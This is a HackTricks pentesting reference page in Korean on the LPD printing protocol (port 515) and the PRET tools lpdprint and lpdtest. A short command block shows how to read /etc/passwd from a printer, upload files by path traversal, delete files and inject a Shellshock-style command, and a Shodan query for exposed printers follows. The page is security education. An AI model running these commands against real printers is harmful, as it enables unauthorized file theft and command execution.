{% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ### **LPD ν”„λ‘œν† μ½œ μ†Œκ°œ** 1980λ…„λŒ€μ— **라인 ν”„λ¦°ν„° 데λͺ¬ (LPD) ν”„λ‘œν† μ½œ**이 버클리 μœ λ‹‰μŠ€μ—μ„œ κ°œλ°œλ˜μ—ˆμœΌλ©°, 이후 RFC1179λ₯Ό 톡해 κ³΅μ‹ν™”λ˜μ—ˆμŠ΅λ‹ˆλ‹€. 이 ν”„λ‘œν† μ½œμ€ 포트 515/tcpλ₯Ό 톡해 μž‘λ™ν•˜λ©°, `lpr` λͺ…λ Ήμ–΄λ₯Ό 톡해 μƒν˜Έμž‘μš©μ„ ν—ˆμš©ν•©λ‹ˆλ‹€. LPDλ₯Ό ν†΅ν•œ μΈμ‡„μ˜ λ³Έμ§ˆμ€ **μ œμ–΄ 파일**(μž‘μ—… 세뢀정보 및 μ‚¬μš©μž 지정)κ³Ό **데이터 파일**(인쇄 정보λ₯Ό 포함) 전솑에 μžˆμŠ΅λ‹ˆλ‹€. μ œμ–΄ νŒŒμΌμ€ 데이터 νŒŒμΌμ— λŒ€ν•œ **λ‹€μ–‘ν•œ 파일 ν˜•μ‹** 선택을 ν—ˆμš©ν•˜μ§€λ§Œ, μ΄λŸ¬ν•œ 파일의 μ²˜λ¦¬λŠ” νŠΉμ • LPD κ΅¬ν˜„μ— 따라 κ²°μ •λ©λ‹ˆλ‹€. μœ λ‹‰μŠ€ 계열 μ‹œμŠ€ν…œμ—μ„œ 널리 μΈμ‹λ˜λŠ” κ΅¬ν˜„μ€ **LPRng**μž…λ‹ˆλ‹€. 특히, LPD ν”„λ‘œν† μ½œμ€ **μ•…μ„± PostScript** λ˜λŠ” **PJL 인쇄 μž‘μ—…**을 μ‹€ν–‰ν•˜λŠ” 데 μ•…μš©λ  수 μžˆμŠ΅λ‹ˆλ‹€. ### **LPD 프린터와 μƒν˜Έμž‘μš©ν•˜κΈ° μœ„ν•œ 도ꡬ** [**PRET**](https://github.com/RUB-NDS/PRET)λŠ” `lpdprint`와 `lpdtest`λΌλŠ” 두 가지 ν•„μˆ˜ 도ꡬλ₯Ό μ†Œκ°œν•˜λ©°, LPD ν˜Έν™˜ 프린터와 μƒν˜Έμž‘μš©ν•˜λŠ” κ°„λ‹¨ν•œ 방법을 μ œκ³΅ν•©λ‹ˆλ‹€. μ΄λŸ¬ν•œ λ„κ΅¬λŠ” 데이터λ₯Ό μΈμ‡„ν•˜λŠ” 것뢀터 ν”„λ¦°ν„°μ—μ„œ νŒŒμΌμ„ μ‘°μž‘ν•˜λŠ” 것(λ‹€μš΄λ‘œλ“œ, μ—…λ‘œλ“œ λ˜λŠ” μ‚­μ œ λ“±)κΉŒμ§€ λ‹€μ–‘ν•œ μž‘μ—…μ„ κ°€λŠ₯ν•˜κ²Œ ν•©λ‹ˆλ‹€: ```python # To print a file to an LPD printer lpdprint.py hostname filename # To get a file from the printer lpdtest.py hostname get /etc/passwd # To upload a file to the printer lpdtest.py hostname put ../../etc/passwd # To remove a file from the printer lpdtest.py hostname rm /some/file/on/printer # To execute a command injection on the printer lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4' # To send a mail through the printer lpdtest.py hostname mail lpdtest@mailhost.local ``` ν”„λ¦°ν„° 해킹에 관심이 μžˆλŠ” κ°œμΈμ„ μœ„ν•΄ 포괄적인 λ¦¬μ†ŒμŠ€λ₯Ό μ—¬κΈ°μ—μ„œ 찾을 수 μžˆμŠ΅λ‹ˆλ‹€: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page). # Shodan * `port 515` {% hint style="success" %} AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks μ§€μ›ν•˜κΈ° * [**ꡬ독 κ³„νš**](https://github.com/sponsors/carlospolop) ν™•μΈν•˜κΈ°! * **πŸ’¬ [**Discord κ·Έλ£Ή**](https://discord.gg/hRep4RUj7f) λ˜λŠ” [**ν…”λ ˆκ·Έλž¨ κ·Έλ£Ή**](https://t.me/peass)에 μ°Έμ—¬ν•˜κ±°λ‚˜ **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**λ₯Ό νŒ”λ‘œμš°ν•˜μ„Έμš”.** * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) κΉƒν—ˆλΈŒ 리포지토리에 PR을 μ œμΆœν•˜μ—¬ ν•΄ν‚Ή νŒμ„ κ³΅μœ ν•˜μ„Έμš”.**
{% endhint %}